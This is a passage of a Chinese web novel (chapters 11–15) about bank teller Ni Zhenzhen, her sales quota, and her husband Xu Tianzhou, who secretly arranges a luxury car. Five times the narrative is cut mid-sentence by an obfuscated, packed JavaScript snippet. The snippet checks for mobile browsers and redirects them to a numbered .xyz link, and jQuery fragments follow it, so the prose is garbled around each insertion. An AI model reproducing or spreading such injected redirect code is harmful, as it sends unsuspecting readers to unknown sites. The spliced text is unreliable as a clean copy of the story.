下午五点,银行准时关门。 门虽然关了,工作还没有停。几个柜员开始清点当天的现金和凭证。 荣晓丹提心吊胆地数了一遍,万幸,今天没出错,不过她一点都高兴不起来,因为她向主任许诺过的理财一笔都没有卖出去。 荣晓丹悔不当初,她说自己被主任骗了,“他非逼我说,我当时一紧张,想也没想就乱说了一个数,这可怎么办啊……” 见她这样懊恼,钱丽娜哪里还能说难听的话,她只能安慰荣晓丹没关系,反正大家都完不成,还能把大家都开除了吗? “到时候谁干活?” 倪真真也说这才第一天,“万事开头难,以后会好的。” 在两人的劝慰下,荣晓丹终于不再难过,她叹了口气,说:“也只能这样了。” 很快,她又像想起了什么,眨巴着眼睛问倪真真:“真真,你不是读的国际学校吗?那些同学还有联系吗?” 这句话倒是提醒了钱丽娜,能读国际学校的,肯定非富即贵,即便是几百万的任务,随便拉一个人出来也能完成。 荣晓丹也是打的这个主意,她不无羡慕地说:“你就好了,有这些同学在,肯定能帮你完成任务。你这么漂亮,性格又好,肯定有不少男生追你吧?找他们帮忙啊。” 倪真真垂下眼睛,若有所思:“如果没办法的话,也只能试一试。” 荣晓丹眼光一亮,立刻抱着倪真真的胳膊,讨好似的说:“到时候可别忘了我们。” 倪真真笑了笑,说:“放心吧。” 检查完自己办理的每一笔业务,再交叉检查一遍,做完这一切还不能下班。银行规定“钱不过夜”,所以必须要等运钞车来接钞。 结果他们没等来运钞车,倒是等来一辆红色卡罗拉。 钱丽娜心里咯噔一下,暗叫不好。 网点这边经常有人在下班后来办业务,你告诉他已经下班了,他就说明明开着门,里面也有人,凭什么不办业务? 钱丽娜最怕遇上这种人,你怎么和他解释也没用,好像全天下就应该围着他转。 不过今天这个人倒是有些奇怪,那人并没有下车,而是一直按喇叭,一下接一下的,按得很有节奏。 没完没了的声音弄得人很是心烦,钱丽娜正想上去大骂一顿,荣晓丹抢先冲过去。 她弯下腰,朝里面看了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735554|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,立时眉开眼笑:“你来了?” 钱丽娜怔了怔,荣晓丹已经转过来,她向两人介绍道:“我男朋友,邓茂林。” 至于邓茂林有没有向她们打招呼,钱丽娜已经记不清了,因为在那一瞬间,她因为分手而建立起的愉快心情一扫而空。 她看了看倪真真,发现倪真真目光柔和,一脸艳羡,忽然间又释然了。 毕竟她还有机会,不像倪真真,除非离婚,不然也就那样了。 倪真真说:“要不你先走吧?别让男朋友等急了。” “那怎么好意思?” “没关系。” “那我走啦。”荣晓丹拉开车门上车,坐好后向两人挥手,“真真再见,丽娜再见。” 很快,车开走了,留下一串呛人的尾气。 荣晓丹怎么不声不响地有了男朋友? 钱丽娜忍不住和倪真真讨论起来,另一边,邓茂林对倪真真也颇为好奇。 “那个让你先走的人是谁啊?长得挺漂亮,有男朋友吗?我有好几个同事还单着呢。” 他竟敢当着她的面夸别的女人漂亮,荣晓丹撇了撇嘴,说:“你那些渣男同事就算了吧,而且她已经结婚了。” “结婚了?”邓茂林毫不掩饰语调中的惊奇,“她老公是干什么的?” “在汇景中心上班。” 说话间,红灯亮起,邓茂林只得将车停下。 然而就在这时,一辆从后而来的小面包居然一个转向,以极快的速度插在了邓茂林的车前。这要是在往常,他一定会骂上几句或是狂按喇叭表示抗议,可是今天,他完全顾不上这些。 邓茂林在停下车的同时转头看向荣晓丹,问:“在哪儿?” “汇景中心。”荣晓丹又说了一遍。 也不知道是不是故意的,她把这几个字说得字正腔圆。 原来他没有听错。 难怪…… 邓茂林先是觉得这一切似乎理所当然,然后又有些不甘心,他想对荣晓丹说什么,张了张嘴又什么也说不出。 时间一分一秒地过去,邓茂林怔怔地看着荣晓丹,荣晓丹也看着他。 四目相对,气氛微妙。 终于,荣晓丹再也忍不了了,她率先爆发出一阵笑。 邓茂林看着她,越发摸不着头脑。 “你笑什么?” 荣晓丹不但没有收敛,反而笑得更厉害了。 在那阵惊天地泣鬼神的笑声中,她一边捶着邓茂林的肩膀,一边上气不接下气地解释,“是地下一层的米粉店啦。” 邓茂林愣了一会儿才堪堪露出一点笑,然后长出一口气,语气带着轻蔑,“是米粉店啊。”意识到荣晓丹是在故意作弄他,邓茂林用手一点她的额头,嗔怪道,“调皮。” 荣晓丹说:“我们第一次听说时也和你一样的反应。不过话说回来,米粉还挺好吃的,有机会可以去试一下。” 绿灯亮起,插队的小面包开出去了,邓茂林也一脚油门踩下去,他一边享受着发动机悦耳的轰鸣,一边不屑地开口:“米粉就算了吧,那东西人均能有五十吗?走,我带你吃海鲜去。” 12. 第 12 章 送走荣晓丹,又等来运钞车。 运钞车走后,还要逐个检查监控、电脑、消防栓。 倪真真习惯在这时顺便收拾一下卫生,毕竟是自己工作的地方,某种意义上来说,待在这里比待在家里的时间还长,弄的干净整洁一点,人的心情也会好。 不过今天,倪真真又把电脑旁边的电线整理了一下。 上班的时候,钱丽娜差点被垂下来的电线绊倒,还有旁边那堆纸箱,总是挡路,倪真真也给它们换了一个地方。 确定没问题,两人关灯锁门,相互道别。 倪真真到家时,许天洲还没有回来。 许天洲有工作餐,很少回家吃饭,只是一个人的话,倪真真也不太想做饭,况且她的头上还悬着一柄达摩克利斯之剑——几百万的营销任务。 今天之前,倪真真还抱有一丝幻想,她坚定地认为只要自己够努力,就一定能获得上天的眷顾,然而经过今天的实践,她才明白自己的想法是多么幼稚。 其实不用荣晓丹提醒,她也很清楚地知道,相比柜面上的客户,国际学校的同学才是她最好的资源。 可惜荣晓丹只知其一不知其二。 越是有钱的人越是早早有了固定的合作银行和理财经理,这其中的利益盘根错节,恐怕不是她轻易能够撼动的。 要点小钱倒是可以,可是那样的话,和乞讨又有什么区别? 倪真真换了衣服,又洗了一把脸,然后把自己扔进铺了格子布的沙发里。 隔壁准时传来练琴声,断断续续的好像一只无情的手,总是在你要深吸一口气的时候掐住脖子,没过多久,属于抗战剧的枪炮声接踵而至。 倪真真疲惫地将脸埋在膝上,不断安慰自己,“一定还有别的办法。” 许天洲终于回来了。 他刚进门便抱怨了一句,“好冷。” 倪真真也说,“好像要下雪了。” 今年的天气特别怪,前几天还烈日炎炎,这几天又降温了,外面叶子还没有落完,一场大雪已在悄悄酝酿。 倪真真赶忙把厚衣服找出来,小房子就这点好,找什么都方便。当然了,缺点也很明显,除了一人一件厚衣服,再也放不下更多东西。 倪真真手上这件羽绒服还是她在国外留学时买的,那时候对钱没概念,同一款式有不同颜色,喜欢就都买下来,现在不行了,她甚至记不清上次买衣服是什么时候。 许天洲正在洗手间洗漱,倪真真悄悄跑过去,一下子从后面抱住他,在许天洲发出一声闷哼后,止不住地笑。 “喂,问你一个问题。”倪真真促狭道,“你攒了多少钱?” 许天洲说了一个数。 倪真真点头,“我也差不多。” 她把脸贴在许天洲宽厚的背上,暗暗盘算了一下距离付房子的首付还有多少,然后又不可避免地想到了银行里的营销任务。 主任说得对,这的确是个赚大钱的机会,她一定要牢牢抓住。 似乎是感受到她的不同寻常,洗漱完毕的许天洲握上她放在自己身前的手,问:“怎么了?” “没什么。”倪真真抬起头,她的侧脸因为有了许天洲的体温而染上淡淡的粉红。 她重新把脸贴在许天洲的衣料上,声音柔软而坚定,“我们很快就要有自己的家了。” “是吗?”许天洲看着镜子里的自己,无声地弯了弯唇角。 这场寒潮来得又急又猛,整座城市还没有正式供暖,房间里到处冷冰冰的,只有被窝里还算暖和。 倪真真刚躲进被子,正是昏昏欲睡的时候,手机响了。 一旁的许天洲忍不住皱眉,怎么会有人在这个时候打电话。 想来应该是特别重要的人,倪真真不仅立刻从被子里钻出来,整个人神情紧张,正襟危坐,接电话的态度也好得不得了。 她“嗯嗯”了一阵,又连说了几个“没问题”。 挂掉电话,倪真真非但没有表现出半分被打扰的不快,还兴奋得差点跳起来。 她立即翻身下床,拖鞋也顾不上穿,急急忙忙道:“我要出去一下。” “出去?”原本靠在床头看书的许天洲倏地坐起来,向来不形于色的脸上露出一点惊讶。 “客户要我现在过去装ETC。” “这么晚?” “没办法,他平常要送货,只有这个时候有空。”倪真真看了一眼时间,庆幸道,“还好,还有地铁。” “回来怎么办?” 倪真真想了想,“只能打车了。” 许天洲就知道会是这样。 他重新靠回床头,不客气地笑出声,直言不讳道:“提成够你打车吗?”哪有这样的,做一单业务还要倒贴钱? 倪真真胡乱裹上外套,一边穿鞋一边解释,“哪里顾得上那么多,好不容易才有这么一笔业务,而且我都答应他了。” 她转身开门,冷气扑面而来,虽然做足了心理准备,还是止不住地打了个冷颤。 “你先睡吧。”倪真真探过头嘱咐了一句。 “喂……”许天洲还想说什么,房门“砰”地一声关上,没有给他这个机会。 倪真真风风火火地赶过去,又匆匆忙忙赶回来,一来一回居然比预计的时间早了半个小时。 邻居们都睡了,楼道里漆黑一片。 倪真真上了楼,小心翼翼地打开房门,迅速洗漱一番向卧室走去。 她故意没有开灯,而是蹑手蹑脚地靠过去,接着用手摸了摸。 谁知这一摸并没有摸到被角,反而摸到一只温暖有力的手。 来不及有任何反应,那只手已然反握住她。 十指相扣,床上的人一拉一带,倪真真下意识低呼一声,人已经被圈在许天洲怀里。 倪真真觉得奇怪,许天洲明明应该睡在床的另一边,怎么才走没一会儿,他就到这边来了? 倪真真还没从一个泥潭里脱身,又意外跌进许天洲低沉清冷的声音里。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735555|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来了?” 许天洲闭着眼,下巴在倪真真的肩上来回摩挲,她周身散发着寒气,连发梢都是冷的。 倪真真很是抱歉,“吵醒你了?” “没睡。” 许天洲这么说着,眼睛还是闭着的。 既然许天洲还没有睡,倪真真兴致勃勃地说了一件稀奇事。 “说出来你都不信,我回来的时候不是要打车吗?软件上显示的是现代,来的居然是奔驰。” 倪真真倒是听说过打车遇上豪车的事,不过她一直以为那都是编出来的段子,从没想过这种事会是真的,而且发生在自己身上。 “是吗?”许天洲也很是惊奇,不过他依旧没有睁眼,而是不紧不慢地吐出两个字,“钓鱼?” “钓鱼?”倪真真不明白。 这么晚了去哪儿钓鱼?再说了,她也没看到渔具。 不过一瞬,倪真真又反应过来,原来许天洲的话是这个意思。 倪真真从他怀里挣脱出来,她斜睨着他,语气颇为无奈,“司机是女的。” “女的?”许天洲睁开眼,他用手撑着额头,面露疑惑,“你没问她为什么开网约车吗?” “问了。”倪真真在许天洲身旁躺下,令人心安的暖意袭来,她又有点想睡。 倪真真打了个哈欠,“她说车是公司的,反正油不要钱,出来赚个外快。” “是吗?”许天洲毫不掩饰地笑了一下。 这一笑让倪真真立时没了睡意。 许天洲很少笑,而这一笑极不寻常,那是一种足够撕破眼前漆黑的笑,是任何语言都无法形容的。 黑暗中,倪真真不自觉地呆了呆,很快,她又听到许天洲戏谑道:“她老板知道了还不得气死。” “嗯,这倒是。”倪真真很认真地点了点头。 说起来也算是帮了自己,倪真真真情实感地为对方感到担心。 她把双手交叉放在胸前,闭上眼睛郑重其事道:“神明保佑,千万不要让她老板知道。” 许天洲笑得更大声了。 倪真真一头雾水,“你笑什么?” 许天洲摇头,简短的几个字因为憋着笑而变得支离破碎,“没、没什么。” “哦……”倪真真拖长音调。 她猛地坐起来,摆出一副审问他的姿态,威胁道:“你是不是笑我傻?” 许天洲快要忍不了了。 倪真真做梦都想不到,“网约车司机”的老板不只知道,还是她亲口告诉他的。 见他不说话,倪真真开始在他的身上到处挠,一边挠还一边逼问:“快说,是不是?” 许天洲有点受不了,他忽地一下抱住倪真真,哑着嗓子说:“别闹。” 倪真真听话的不再动了。 这一天又是营销任务,又是东奔西跑,她是真的累了。 窗户外面,零星的雪花飘了下来,倪真真闭上眼睛沉沉睡去,许天洲却睁开眼睛望着天花板,眼中一片清明。 13. 第 13 章 奔驰、网约车、女司机。 毫无疑问,这一切都是许天洲的杰作。 这么晚了,倪真真非要出去,许天洲没办法,只得给苏汶锦打电话,让他安排一下。 没想到苏汶锦还挺细心,特意找了秘书过去,而不是公司的专职司机。 一想到倪真真被蒙在鼓里,对这一切浑然不觉,甚至还在给秘书祈祷,许天洲就止不住想笑。 这一笑差点把倪真真吵醒。 她不安地动了动,小声呓语。 许天洲仔细分辨她的话,好像是“冷”。 睡梦中的倪真真不断往许天洲怀里钻,许天洲拗不过,只好将她抱紧了一些。 这的确是一个舒服的姿势,在倪真真均匀而绵长的呼吸中,许天洲也闭上了眼睛。在将睡不睡的时候,许天洲又想起倪真真说到奔驰时陶醉的语气。 他忍不住在心里笑骂:“真够傻的。” 第二天一早,苏汶锦赶到58楼会议室。 就在刚刚,许天洲突然说要见面,但也没说是什么事,苏汶锦只得推迟了后面的行程。 许天洲算是个有计划的人,这样的情况非常少见。苏汶锦在脑海里过了一遍公司里的几项事务,依然找不到头绪,人也越发忐忑。 苏汶锦进来时,许天洲已经到了。 苏汶锦逐渐放缓脚步,小心观察着许天洲的表情,还好,许天洲看上去心情不错。 这绝对不是他的臆想。 也许是因为接触不多,仅有的时间里又总是在说工作,印象中的许天洲气质内敛,不苟言笑,很少说话,也不太爱笑。 毕竟身份在那里,再怎么冷淡也是应该的。 所以今天的他才显得非常特别。 他独自一人坐在会议桌旁,什么也没看,什么也没做,明明是最无聊的时候,眉梢眼角却满是盈盈的笑。 苏汶锦一下子放松不少。 他只是有一点好奇,到底是什么事能让他这么开心。 苏汶锦拉了椅子坐下,直觉告诉他,也许会有好事发生。 果不其然,秘书端上两杯咖啡,在咖啡杯落下的同时,许天洲抬起头,语气优雅诚恳:“昨天晚上麻烦你了,谢谢。” 角落里有刚换的绿植,密密匝匝的枝丫上结满了金桔。许天洲笑意未收,眼中难得一见的柔软与金桔的浓烈灿烂交相辉映。 秘书不由得怔了怔。 这么久了,这好像是许天洲第一次正眼瞧她。 昨天晚上刚下班不久,秘书接到了苏汶锦的电话,要她去接一个人。说起来只是一件微不足道的小事,竟然能得到许天洲的亲口感谢。 这是秘书没有想到的。 外面冰天雪地,寒风刺骨,会议室里暖意融融。 秘书依旧穿着一件连衣裙,水红色,一字领,锁骨若隐若现。 许天洲转回头,秘书也收回目光,含羞带怯地“嗯”了一声。 顷刻间,会议室里春意更浓。 苏汶锦更加放松了,以至于和许天洲开了一句玩笑,“别只是嘴上说谢谢。” “……”许天洲沉默几秒,点了点头,似乎是在表示认同,“也是。” 他一边用咖啡勺搅拌着咖啡,一边轻描淡写道,“你别干了,让她顶替你。” 苏汶锦猛然一怔,很快又笑了出来,“你这人怎么这样,我为你着想,你倒拿我开涮。” 他转向秘书,脸上的笑容不见,完全是一副公事公办的口吻,“这样吧,给你算加班,三倍工资加调休。” 说完后,又问许天洲的意见,“怎么样?” 许天洲放下咖啡勺,语气淡淡的,听不出情绪,“你什么时候变得这么没主见?” 苏汶锦脸色微变,这话说得有点重。 身为信达集团的实际控制人,许天洲并不直接参与管理,公司的大小事务都要苏汶锦拿主意,现在,许天洲居然说他没主见。 联想到刚才那句“别干了”,苏汶锦不禁有些紧张,赶忙换了个话题,“找我来有什么事?” 许天洲转过头,让秘书先出去。 苏汶锦的心瞬间凉了半截,原来真的有事,他还以为许天洲到这边来只是为了感谢秘书。 等秘书走后,许天洲又想了一阵,终于,他像是做出了一个极其重要的决定。 “帮我物色一辆奔驰。” “什么?”苏汶锦有些诧异,虽然这么说不太合适,但他还是脱口道:“你想开了?” 就在前不久,苏汶锦才问过他要不要买车。 那时也是在这间会议室,其他高管都在,所有人神情严肃,一动不动,只有许天洲不断变换姿势。 众人都注意到了许天洲的不同寻常,特别是正在发言的高管,误以为许天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735556|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洲对他有什么不满意的地方,所以才会表现得如此不耐烦。 会议结束,苏汶锦试探着问了一句,“怎么了?” 许天洲闭上眼睛,面露痛苦,“浑身疼。” “生病了?” “挤地铁挤的。” “……”苏汶锦不敢相信。 他已经好几年没坐过地铁了,虽然对地铁的拥挤时有耳闻,但是并没有直观的感受。 到底有多挤,能把人挤成这样? 不过这还不是最不可思议的。 最不可思议的是,作为一家物流公司,信达集团最不缺的就是交通工具,公司旗下资产众多,别说汽车,就连飞机都有三四十架,谁能想到许天洲身为信达集团老板,名下居然连一辆车都没有。 苏汶锦真诚向他建议,“你要不要买辆车?” 他怕许天洲有顾虑,还说现在这年头,车也算不上什么奢侈品,几万块的车也有不少。 “反正只是代步,总比挤地铁好。” “而且一点也不影响你装穷。” 当然了,后面这句话他只是在心里想了想,并没有说出来。 然而任凭苏汶锦说得天花乱坠,许天洲还是一口回绝了。 “她想先买房。”许天洲说这句话的时候带着难以名状的柔情。 不用问,这个“她”自然是指倪真真,苏汶锦也就没有再多说什么。 他本以为这件事就这么过去了,没想到许天洲会改了主意。 难道是昨天晚上的事刺激到他,所以才会决定买车?可也没必要买豪车,难道他不想再装了? 不知怎么,苏汶锦又想到了倪真真。 这是不是说明倪真真不用再受苦了? 苏汶锦暗自思忖,与此同时,许天洲在手机上点了一阵。 片刻后,他将手机亮出来,说:“我要这个。” 苏汶锦看了一眼,那是一张奔驰车的照片,旁边写着型号。 像是被兜头浇了一盆凉水,苏汶锦几乎不能思考,他有些为难地说:“这个……可能不太好找。” “给你一天时间。”许天洲站起身,系好西装扣子,居高临下道,“我明天来提车。” “明天?”苏汶锦差点吐血,不是说一天时间吗,那也该是后天,怎么会是明天?难道是从现在开始数24小时? 有这么算的吗? 14. 第 14 章 许天洲把想买车的事情告诉了倪真真。 倪真真正在餐桌前写东西,她左手电脑右手词典,一脸苦大仇深,忙得不可开交。 听到许天洲的话,倪真真转过头,颇为意外地问:“买车?” “对,买车。”许天洲气定神闲地说道。 他料定倪真真不会答应,不过也无所谓,反正他已经和苏汶锦说好了,明天提车。 出乎意料,倪真真当即表示同意。 她再一次惊叹于两人的心有灵犀,扔下手里的词典凑过来,眼睛很亮,笑得像水果蛋糕上沾了糖霜的草莓,“我也是这么想的。” 前不久,两人坐地铁时遇到一件事。 那天早上,两人照旧赶到地铁站,地铁站里的人虽然多,但还算平稳有序。大概等了两三趟车,终于轮到他们。 每到这时,倪真真几乎不用怎么用力,后面的人就能把她推上去。 这天也差不多,车门打开,早已等候多时的人们一拥而上。 没想到就在倪真真一脚车里一脚车外的时候,走在倪真真前面的女生被横出来的行李箱绊倒了。 倪真真赶忙停住脚步,上半身则由于惯性弯成90度。 其实她原本可以一脚跨过去的,就像其他人那样,脸上无悲无喜无惧无怒,眼中除了上班打卡,再容不下其他事情。 但是她没有。 倪真真伸出手,想要把女生拽起来,只是她力气不够,又被旁边的人狠狠一挤,一个没站稳,压在女生的腿上摔在一边。 那可是早高峰的地铁,平常上车后脚都够不着地,挤掉鞋,挤碎电脑屏幕都是常有的事。 倪真真的包已经被人踩了几脚,这要是再有人冲过来,她一定会被那些人踩死。 当时的倪真真根本顾不上害怕,她这一跤摔得有点重,胳膊不小心撞在栏杆上,疼得直掉眼泪。 还好许天洲反应快,他伸出双臂撑在门上,用身体挡住了后面的人。 这一举动无疑引起了车外乘客的愤怒。 现在正是争分夺秒的时候,车门马上就要关了,这趟上不去,只能等下一趟,耽误了上班打卡,谁能负责? 正在这时,不知道是谁喊了一句,“有人摔倒了!” 也许外面的人没有听到,也许听到了也当没听见,他们继续往前挤,挤不动就开始骂骂咧咧拳打脚踢,直到车门关上。 一切归于平静,地铁独有的凉风呼啸而过,倪真真第一次觉得,突兀的风也会如此可爱。 她长出一口气,和女生互相搀扶着从地上爬起来。 女生不断说着谢谢,她眼中有泪,声音哽咽,想必是怕极了。 “有没有受伤?好了好了,没事了。”倪真真检查了她的身上,又小声安慰了几句。 周围的人依旧没有什么表情,如果有的话,那也是一点接近于狡黠的庆幸。 许天洲挡住了那么多要上车的人,相比以往,车上的人真的不算多。 倪真真也觉得,这似乎是两人这么长时间以来坐的最松快的一次地铁,当然,代价也尤为惨重,许天洲的裤子上全是鞋印。 两人都感到后怕。 “你怎么回事!”在一个角落里,许天洲压低声音呵斥,“刚才多危险!” 他似乎还没有从刚才紧张的气氛中走出来,整个人身体紧绷,双目赤红。 倪真真低着头,声音小小的,“这不是有你吗?” 许天洲一下子没了脾气。 教训她的话就在嘴边,许天洲张了张口,一个字都没有说出来。他把头转向一边,闭上眼睛。 明明已经脱离险境,许天洲还是心有余悸,他实在不敢想象,如果不是他挡在那里,眼前的人现在会是什么模样。 广播声响起,车辆到站了,地铁因为制动产生小幅晃动,倪真真又是一个趔趄,许天洲几乎是神经质地抓住她,好像又怕她摔倒。 “啊……”倪真真被他抓得有点疼,她低呼一声,说了一句“谢谢”。 许天洲的目光依旧深邃,他紧盯着她,手上的力道没有丝毫减弱。 倪真真以为这次意外不过是虚惊一场,直到第二天晚上,许天洲喊疼,她才发现许天洲受了伤。 他的背上青一块紫一块的,极是触目惊心。 “怎么会这样……”倪真真控制不住,眼泪“吧嗒吧嗒”往下掉。 许天洲转过头,问:“很严重吗?” 前一天,他还不觉得有什么,第二天一早, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735557|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他像是被人暴打了似的,浑身上下都在叫嚣。 他强撑着去和公司高管开会,好几次疼得受不了,他不想因为个人原因中断会议,只能通过不断变换姿势缓解疼痛。好不容易熬过会议,还有米粉店的工作要管,直到倪真真下班回家,他才对倪真真说出实情。 倪真真像是被吓坏了,抽泣不停。 许天洲被她哭得有点烦,口是心非道:“好了,其实也没那么疼。” 倪真真知道他是在安慰自己。 她给他热敷了一阵,又给那些淤青喷了药,临睡前还嘱咐道:“明天去医院看一看吧,别强撑着。” 也是在那时,倪真真生出了买车的念头。 虽然车是消耗品,他们又要攒钱买房,但是拿出几万块买车也不是不可以,至少不用再挤地铁了。 倪真真问许天洲想买哪款车。 也许是对他们之间的默契很有信心,不等许天洲说出答案,她的眼前已经有了车的款式和颜色。 应该是白色的,最好带一个天窗…… 她兴致勃勃地看着许天洲。 许天洲也看着她。 他的目光在倪真真满是期许的脸上扫过,很快落在自己的手上。 许天洲正在削苹果,他慢条斯理地削完最后一下,把完整的苹果皮扔进垃圾桶,接着切下一片苹果递给倪真真,说:“我想买奔驰。” 许天洲说这句话时没有一丝感情,冰冷得仿佛一柄利剑。 只是一瞬,倪真真的笑容僵在脸上。 “甜吗?”许天洲问。 “嗯。”倪真真食不知味。 为什么要买奔驰?倪真真不明白。 她机械地吃完苹果,纠结片刻后小心翼翼地问:“一定要买那么贵的吗?” 许天洲说:“反正都要买,为什么不买好的?” “可是……” 大概看出倪真真有顾虑,许天洲十分大度地说道:“用我的钱买。” 结婚以来,两人的财务完全分开,如果一起出去,许天洲给钱的情况比较多,除此之外,他们一直是各花各的,彼此之间也很少过问对方把钱花在哪里。 倪真真垂下眼睛,眼里光华不再,她叹了口气,说:“好吧。” 15. 第 15 章 她能理解许天洲为什么想买豪车。 谁不想有一辆豪车?又舒适又有面子。她的父亲在掘得第一桶金后也是迫不及待地买了车。 况且对于许天洲来说,豪车不只代表着舒适和面子,还是一味药,一味抚慰心伤的药。 他实在是被奚落怕了。 许天洲是国际学校的异类,有关他的议论从未停止。 国际学校的同学们非富即贵,家家都有豪车,还不只一辆。每到上下学,学校门前就会被一众豪车堵得水泄不通。 BBA就不用说了,那都是最基本的,像什么玛莎拉蒂、保时捷、宾利之类的也不鲜见。学校离会展中心很近,会展中心每年举办一次车展,这里每天都是车展。 学校里从幼儿园到高三,一千多名学生,再加上老师和校工,数来数去,好像只有许天洲家里没车。 不对,他家有车,据说还是一辆“神车”。 倪真真听其他男生讨论过,当听到“神车”时,她还以为那帮男生转了性子,不再那么刻薄,后来才知道所谓的“神车”是讽刺的意思。 “听说连安全气囊都没有。” “十万?也就五万吧,还没我妈一个包值钱。” “对对对,会把后面的座位拆了用来拉货。” “那他们一家一起出去的话,他坐哪儿?” “蹲着?要不躺着?” “雾草,埃尔法!” “哈哈哈……” 倪真真不确定许天洲有没有听到,因为每到课间,许天洲都会很忙,不是看书就是做题,要不就在听英语,从不管别人在干什么。 这次也一样,他自始至终低着头,脸上没有任何表情。 可能是习惯了? 一想到有这种可能,倪真真的心好像更痛了。 倪真真恨自己的无能,那时的她给不了许天洲任何帮助,哪怕是一点安慰。 印象中,许天洲总是一个人。 放学后,同学们纷纷上了自家豪车,也有人会成群结队地走在一起,不是回家,而是去附近满是奢侈品店的商圈逛街,只有许天洲孤零零地走在街上。 倪真真没见过许天洲的家人来接他。 如果有的话,也该是这样一幅情景。 他需要在路边一辆接一辆的豪车里找到自己家那辆“神车”,然后在众目睽睽之下钻进去。每当这时,周遭或许会爆发出一阵议论,哪怕和他没有任何关系,他也很难不这么认为。 倪真真想,也许就是在那时,许天洲在心里下定决心,有朝一日,一定要买一辆豪车。 这和保时捷广告中说着“二十年后见”的小男孩不同,那是一颗属于恶魔的种子,如果不能开出花,就只能在肮脏的泥土里越扎越深。 倪真真不怪他,那时的他尚未成年,没办法做出改变,现在的他有了一些积蓄,会报复性消费也是理所当然。 如果换成自己,她并没有信心比许天洲做得更好。 倪真真看向许天洲,她露出一个笑,尽力让自己的表情看上去自然一些,“什么时候去买车?” “你不反对?”许天洲好像不愿意相信。他凝视着倪真真,他们离得这样近,他却始终无法看透她。 如果这是一场戏,也该收场了。 偏偏倪真真笑容明媚,一点儿生气的样子都没有,甚至还在反问:“为什么要反对?” 为什么?当然是因为他把钱拿去买车,就不能买房了。 他不相信倪真真毫无芥蒂。 然而倪真真再一次让他失望,她说:“要是没有和我结婚,只有你一个人,你根本不用经过别人的同意,说不定早就把车买好了。” 她依偎在许天洲胸前,既是说给许天洲,也是说给自己,“如果我们在一起,还不如一个人的时候过得好,那我们为什么要结婚?” 倪真真想通了,她不该干涉许天洲。多年来的梦想成真,她应该为许天洲高兴。 许天洲说不出话,倪真真靠在他的身上,带来一点冬日里可贵的温暖。他很想问倪真真,和他在一起,有没有比她一个人时更幸福。 然而他不敢。 许天洲伸出手揽上倪真真的肩膀,他将她圈在怀里,又抱得更紧。倪真真早已将头发放下来,发梢拂过他的脖颈,比羽毛还要柔软。 “你还没说,什么时候去买车?”倪真真问。 许天洲依旧没有回答。 许久后,倪真真听到一个低哑到有些陌生的声音说,“谢谢。” 倪真真鼻子一酸,差点哭出来。 还是会难受吧。 那天晚上,倪真真没有睡好,第二天上班时也浑浑噩噩的,结果不幸的事情发生了,扎帐时发现少了三百块钱。 听说倪真真短款了,往常总是冷眼旁观的钱丽娜突然变得无比热心。她扔下手里的活儿赶过来,一边安慰倪真真三百块钱不算多,一边和她一起看监控。 两人很快发现问题。 原来一位客户拿了三千元现金来存,钱没存完又要换三百零钱,这样一来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735558|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该是存两千七,倪真真一时没反应过来依旧存了三千,所以多给出去三百。 钱丽娜说:“你不用太自责,这种错误也是难免的。”她早就说过,像倪真真那样办业务,迟早会出事,这不就来了? “还好不是别的错误。”倪真真庆幸道。她既没有影响到银行的声誉,也不会给客户造成损失。 